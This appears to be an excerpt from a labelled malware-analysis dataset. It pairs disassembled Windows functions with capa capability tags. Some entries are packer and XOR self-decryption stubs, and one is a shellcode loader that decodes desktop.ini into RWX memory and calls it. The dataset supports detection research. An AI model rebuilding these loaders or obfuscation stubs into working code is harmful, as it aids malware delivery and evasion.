joyce8/EMBER2024-capa huggingface dataset:
Function at 0x451a20
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4d1f28
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x451a59
inc eax
mov dword [esi + 0x10], eax
jmp 0x451b6c
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x451a6d
mov eax, 0xffffffc7
jmp 0x451b6e
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x451a7e
cmp dword [esi + 8], eax
jne 0x451a6d
cmp dword [esi + 8], eax
jne 0x451a97
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x451a97
mov eax, 0xffffffc7
jmp 0x451b6e
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x451aab
push eax
mov ecx, ebx
call fcn.00451250
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.0041f730
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x451adc
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.0041f750
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.004509c0
test eax, eax
mov dword [esp + 0x38], eax
je 0x451b0f
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x84c160
call fcn.0041f930
mov eax, dword [esp + 0x38]
jmp 0x451b6e
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.00451880
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x451b53
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.004518a0
mov esi, eax
test esi, esi
jne 0x451b83
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.00451880
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x451b25
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x84c160
call fcn.0041f930
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x84c160
call fcn.0041f930
mov eax, esi
jmp 0x451b6e
Function at 0x461710
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4d2818
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [0x4d5544]
push 0
lea ecx, [esp + 0x20]
call fcn.004cac99
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.00461070
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.004cabc7
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.004c748b
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.004c748b
push 1
push 0
push 0
mov ecx, esi
call fcn.004c7433
push 1
push 0
push 1
mov ecx, esi
call fcn.004c7433
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.004cad0b
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x461890
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4d2838
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.004cac99
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.00461070
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.004cabc7
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [0x4d5544]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x461954
cmp dword [esp + 0x40], 1
jne 0x461952
cmp ecx, eax
jge 0x461954
mov eax, ecx
cmp eax, 0xc8
jge 0x461960
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.00461710
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [0x4d5540]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.004cad0b
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x462160
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4d28e3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.004c58a9
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], 0x84dc00
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], 0x84db48
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [0x4d5064]
push eax
mov ecx, edi
call fcn.004caf41
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.004cc557
test eax, eax
je 0x46227c
mov ecx, dword [esp + 0x3c]
call fcn.004caf6e
mov ecx, dword [esi + 0x1c]
mov ebp, dword [0x4d5564]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x462240
push edi
mov ecx, esi
call fcn.004c85d7
mov ecx, esi
call fcn.00462420
cmp dword [esp + 0x38], 1
jne 0x462275
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.004c8712
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x465220
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x46522b
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x46532e
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x84de30]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x84de30]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x84de30]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x84de30]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x84de30]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x84de30]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x84de30]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x84de30]
xor eax, edx
inc ecx
dec edi
jne 0x465246
pop edi
test esi, esi
je 0x465350
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x84de30]
xor eax, edx
inc ecx
dec esi
jne 0x465332
pop esi
pop ebx
not eax
ret
Function at 0x483cc0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x4d2d48
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
mov eax, dword [esp + 0x40]
push ebx
push esi
lea ecx, [esp + 8]
push eax
push ecx
mov ecx, dword [esp + 0x4c]
call fcn.00483fd0
mov esi, eax
lea edx, [esp + 0x48]
xor ebx, ebx
push edx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x40], ebx
mov dword [esp + 0x4c], 0x890ea4
call fcn.004a34d8
mov ecx, dword [0x84fae8]
mov al, byte [esi]
push ecx
push ebx
push esi
lea ecx, [esp + 0x30]
mov byte [esp + 0x48], 1
mov byte [esp + 0x30], al
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
call fcn.0047f580
mov esi, 0x84fb24
mov dword [esp + 0x18], esi
mov eax, dword [esp + 0xc]
mov byte [esp + 0x3c], 3
cmp eax, ebx
je 0x483d67
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x483d5e
cmp al, 0xff
je 0x483d5e
dec al
mov byte [ecx], al
jmp 0x483d67
push ecx
call fcn.004c403a
add esp, 4
lea ecx, [esp + 0x18]
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
call fcn.004c0300
mov eax, dword [esp + 0x28]
mov dword [esp + 0x3c], 0xffffffff
cmp eax, ebx
mov dword [esp + 0x18], esi
je 0x483dad
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x483da4
cmp al, 0xff
je 0x483da4
dec al
mov byte [ecx], al
jmp 0x483dad
push ecx
call fcn.004c403a
add esp, 4
lea ecx, [esp + 0x18]
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
call fcn.004a355f
mov ecx, dword [esp + 0x34]
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x48c090
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x48c0e3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x48c0ca
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x492a90
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4d344e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.004933b0
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x8504ec
call fcn.004c4011
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x492b23
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004c4011
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x492b1c
push 0
mov ecx, eax
call fcn.00489c00
mov dword [esi + 0xc], eax
jmp 0x492b25
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x492b25
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x10011dd
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov dword [ebp - 0x110], eax
mov esi, 0x105
push esi
lea eax, [ebp - 0x10c]
xor ebx, ebx
push eax
mov byte [ebp - 0x10c], bl
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x10010dc
test eax, eax
je 0x100123d
push edi
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
test eax, eax
jne 0x100123a
mov byte [ebp - 0x10c], bl
mov byte [ebp - 8], bl
cmp byte [ebp - 0x10c], bl
jne 0x1001253
push edi
push esi
lea eax, [ebp - 0x10c]
push eax
call fcn.01001175
push dword [ebp + 0x14]
lea eax, [ebp - 0x10c]
push ebx
push dword [ebp - 0x110]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1001279
Capabilities:
Accept command line arguments

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
xor ebx, ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x10012b0
inc esi
mov al, byte [esi]
cmp al, bl
je 0x10012a9
cmp al, 0x22
jne 0x100129e
cmp byte [esi], 0x22
jne 0x10012c1
jmp 0x10012c0
cmp al, 0x20
jle 0x10012c1
inc esi
cmp byte [esi], 0x20
jg 0x10012b4
jmp 0x10012c1
cmp al, 0x20
jg 0x10012c7
inc esi
mov al, byte [esi]
cmp al, bl
jne 0x10012bc
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x18], ebx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x18], 1
je 0x10012e0
movzx eax, word [ebp - 0x14]
jmp 0x10012e3
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.010011dd
int3

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x6729622b
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
mov ebx, 0x42e1d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x76e05b11
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0xdc0214
Capabilities:
Encode data using xor

Disassembly:
jmp 0xdc021e
add al, ah
add eax, dword [eax]
add byte [eax], al
add byte [eax], al
pushal
call 0xdc0224
pop ebp
sub ebp, 0x10
sub ebp, 0x9c0214
jmp 0xdc023a
mov eax, 0x9c0214
add eax, ebp
add eax, 0x4c
mov ecx, 0x5e0
mov edx, 0xa9294116
xor byte [eax], dl
inc eax
dec ecx
jne 0xdc0251
jmp 0xdc0264
popfd
fistp dword [ebp + 0x16162a9f]
push ss
xchg edi, eax
xlatb
out dx, al
push ss
push ss
push ss
adc eax, 0x1612aedb
scasb al, byte es:[edi]
adc dl, byte [esi]
push ss
push ss
lodsb al, byte [esi]
push ss
push ss
push ss
loope 0xdc0274
adc eax, 0x1a979dde
push ss
push ss
push ss
adc eax, 0x729b46d3
xor ch, dl
lahf
adc dh, byte [edx]
jle 0xdc0216
invalid

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x46b9330f
nop
nop
nop
nop
nop
test eax, eax
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x42c6330e
nop
nop
nop
nop
test eax, eax
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x58a7c0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x109000]
push edi
or ebp, 0xffffffff
jmp 0x58a7e2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x58a7e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x58a7d8
mov eax, 1
add ebx, ebx
jne 0x58a7fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x58a80c
jne 0x58a81c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x58a81c
dec eax
add ebx, ebx
jne 0x58a818
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x58a7f0
xor ecx, ecx
sub eax, 3
jb 0x58a834
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x58a8a6
sar eax, 1
mov ebp, eax
jmp 0x58a83f
add ebx, ebx
jne 0x58a83f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x58a84c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x58a870
inc ecx
add ebx, ebx
jne 0x58a85c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x58a851
jne 0x58a86d
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x58a851
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x58a890
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x58a881
jmp 0x58a7de
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x58a890
add edi, ecx
jmp 0x58a7de
pop esi
mov edi, esi
mov ecx, 0x6391
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x58a8ae
cmp byte [edi], 0x11
jne 0x58a8ae
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x58a8b3
lea edi, [esi + 0x188000]
mov eax, dword [edi]
or eax, eax
je 0x58a92b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19077c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x190844]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x58a8e0
mov ecx, edi
jns 0x58a90f
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x190848]
or eax, eax
je 0x58a925
mov dword [ebx], eax
add ebx, 4
jmp 0x58a8fd
call dword [esi + 0x19084c]
popal
jmp 0x4e2948
Function at 0x5a89d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x12a000]
push edi
or ebp, 0xffffffff
jmp 0x5a89f2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5a89f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5a89e8
mov eax, 1
add ebx, ebx
jne 0x5a8a0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5a8a1c
jne 0x5a8a3b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5a8a3b
dec eax
add ebx, ebx
jne 0x5a8a28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5a8a00
add ebx, ebx
jne 0x5a8a37
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5a8a8d
xor ecx, ecx
sub eax, 3
jb 0x5a8a53
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5a8ac2
sar eax, 1
mov ebp, eax
jmp 0x5a8a5e
add ebx, ebx
jne 0x5a8a5e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5a8a2c
inc ecx
add ebx, ebx
jne 0x5a8a6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5a8a2c
add ebx, ebx
jne 0x5a8a79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5a8a6e
jne 0x5a8a8a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5a8a6e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5a8aac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5a8a9e
jmp 0x5a89ee
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5a8aac
add edi, ecx
jmp 0x5a89ee
pop esi
mov edi, esi
mov ecx, 0x62e4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5a8aca
cmp byte [edi], 0x27
jne 0x5a8aca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5a8acf
lea edi, [esi + 0x1a4000]
mov eax, dword [edi]
or eax, eax
je 0x5a8b47
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1c14f8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1c1638]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5a8afc
mov ecx, edi
jns 0x5a8b2b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1c163c]
or eax, eax
je 0x5a8b41
mov dword [ebx], eax
add ebx, 4
jmp 0x5a8b19
call dword [esi + 0x1c1644]
mov ebp, dword [esi + 0x1c1640]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5a8b7b
sub esp, 0xffffff80
jmp 0x4bebb7